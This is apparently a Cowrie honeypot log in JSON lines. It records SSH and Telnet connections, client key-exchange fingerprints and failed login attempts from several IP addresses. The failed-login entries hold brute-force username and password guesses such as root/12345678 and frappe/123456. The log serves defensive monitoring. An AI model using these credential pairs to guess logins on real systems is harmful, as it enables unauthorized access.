{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:15.762465Z","src_ip":"176.65.139.103","session":"f2cab6d05c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerQWER1234","message":"login attempt [root/qwerQWER1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:16.132128Z","src_ip":"202.184.144.220","session":"d7dd31327258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:16.167933Z","src_ip":"176.65.139.103","session":"f2cab6d05c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":34300,"dst_ip":"159.203.135.109","dst_port":23,"session":"530ae3240423","protocol":"telnet","message":"New connection: 161.97.124.15:34300 (159.203.135.109:23) [session: 530ae3240423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:16.401322Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48244,"dst_ip":"159.203.135.109","dst_port":22,"session":"35f4f6f1069e","protocol":"ssh","message":"New connection: 159.203.92.129:48244 (159.203.135.109:22) [session: 35f4f6f1069e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:17.085258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:17.089732Z","src_ip":"159.203.92.129","session":"35f4f6f1069e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:17.093493Z","src_ip":"159.203.92.129","session":"35f4f6f1069e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123!@#","message":"login attempt [ansible/123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:17.104777Z","src_ip":"159.203.92.129","session":"35f4f6f1069e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:17.272294Z","src_ip":"176.65.139.103","session":"f2cab6d05c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:17.375135Z","src_ip":"202.184.144.220","session":"d7dd31327258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:18.110609Z","src_ip":"159.203.92.129","session":"35f4f6f1069e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55722,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f3e72fcd78","protocol":"telnet","message":"New connection: 185.26.126.47:55722 (159.203.135.109:23) [session: 99f3e72fcd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:20.650934Z"}
{"eventid":"cowrie.session.closed","duration":120.00071048736572,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:20.892639Z","src_ip":"177.54.170.240","session":"a3af1dd5daee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":60942,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbc143288738","protocol":"telnet","message":"New connection: 177.54.170.240:60942 (10.17.0.5:23) [session: cbc143288738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:21.265946Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57050,"dst_ip":"10.17.0.5","dst_port":22,"session":"12f185e23ffe","protocol":"ssh","message":"New connection: 176.65.139.103:57050 (10.17.0.5:22) [session: 12f185e23ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:22.215387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:22.219679Z","src_ip":"176.65.139.103","session":"12f185e23ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:22.306537Z","src_ip":"176.65.139.103","session":"12f185e23ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:22.581243Z","src_ip":"176.65.139.103","session":"12f185e23ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:23.664361Z","src_ip":"176.65.139.103","session":"12f185e23ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.630319356918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:24.305791Z","src_ip":"161.97.124.15","session":"f3f6b8a7150f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":38738,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c12234925b","protocol":"telnet","message":"New connection: 161.97.124.15:38738 (159.203.135.109:23) [session: 44c12234925b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:28.483359Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":38860,"dst_ip":"159.203.135.109","dst_port":23,"session":"6534997b0afa","protocol":"telnet","message":"New connection: 161.97.124.15:38860 (159.203.135.109:23) [session: 6534997b0afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:28.522997Z"}
{"eventid":"cowrie.session.closed","duration":30.543466806411743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:29.057745Z","src_ip":"161.97.124.15","session":"17ae59c5e943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58004,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd9a6e54daf4","protocol":"ssh","message":"New connection: 176.65.139.103:58004 (10.17.0.5:22) [session: dd9a6e54daf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:29.145928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:29.149669Z","src_ip":"176.65.139.103","session":"dd9a6e54daf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:29.232677Z","src_ip":"176.65.139.103","session":"dd9a6e54daf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:29.487285Z","src_ip":"176.65.139.103","session":"dd9a6e54daf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:30.648537Z","src_ip":"176.65.139.103","session":"dd9a6e54daf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":63538,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ed42cb57d00","protocol":"ssh","message":"New connection: 52.231.220.210:63538 (10.17.0.5:22) [session: 3ed42cb57d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:33.758317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:33.762244Z","src_ip":"52.231.220.210","session":"3ed42cb57d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:33.957546Z","src_ip":"52.231.220.210","session":"3ed42cb57d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test2026","message":"login attempt [test/Test2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:34.773883Z","src_ip":"52.231.220.210","session":"3ed42cb57d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52140,"dst_ip":"10.17.0.5","dst_port":22,"session":"2514dd6d6798","protocol":"ssh","message":"New connection: 176.65.139.103:52140 (10.17.0.5:22) [session: 2514dd6d6798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:35.883386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:35.887472Z","src_ip":"176.65.139.103","session":"2514dd6d6798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:35.971798Z","src_ip":"52.231.220.210","session":"3ed42cb57d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:35.996772Z","src_ip":"176.65.139.103","session":"2514dd6d6798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.4041645526886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:36.154408Z","src_ip":"161.97.124.15","session":"43e361df35c3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:36.357153Z","src_ip":"176.65.139.103","session":"2514dd6d6798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:37.443041Z","src_ip":"176.65.139.103","session":"2514dd6d6798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":44994,"dst_ip":"159.203.135.109","dst_port":23,"session":"8734c7f8a59c","protocol":"telnet","message":"New connection: 161.97.124.15:44994 (159.203.135.109:23) [session: 8734c7f8a59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:41.451621Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52144,"dst_ip":"10.17.0.5","dst_port":22,"session":"67be8210ba21","protocol":"ssh","message":"New connection: 176.65.139.103:52144 (10.17.0.5:22) [session: 67be8210ba21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:42.853261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:42.857504Z","src_ip":"176.65.139.103","session":"67be8210ba21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:42.941510Z","src_ip":"176.65.139.103","session":"67be8210ba21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:43.185993Z","src_ip":"176.65.139.103","session":"67be8210ba21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.122777223587036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:44.078222Z","src_ip":"161.97.124.15","session":"fd69d666c663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:44.279412Z","src_ip":"176.65.139.103","session":"67be8210ba21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":52404,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6cd361926f4","protocol":"telnet","message":"New connection: 161.97.124.15:52404 (159.203.135.109:23) [session: a6cd361926f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:44.373930Z"}
{"eventid":"cowrie.session.closed","duration":31.117000579833984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:46.084835Z","src_ip":"161.97.124.15","session":"1b9b81801a36","protocol":"telnet"}
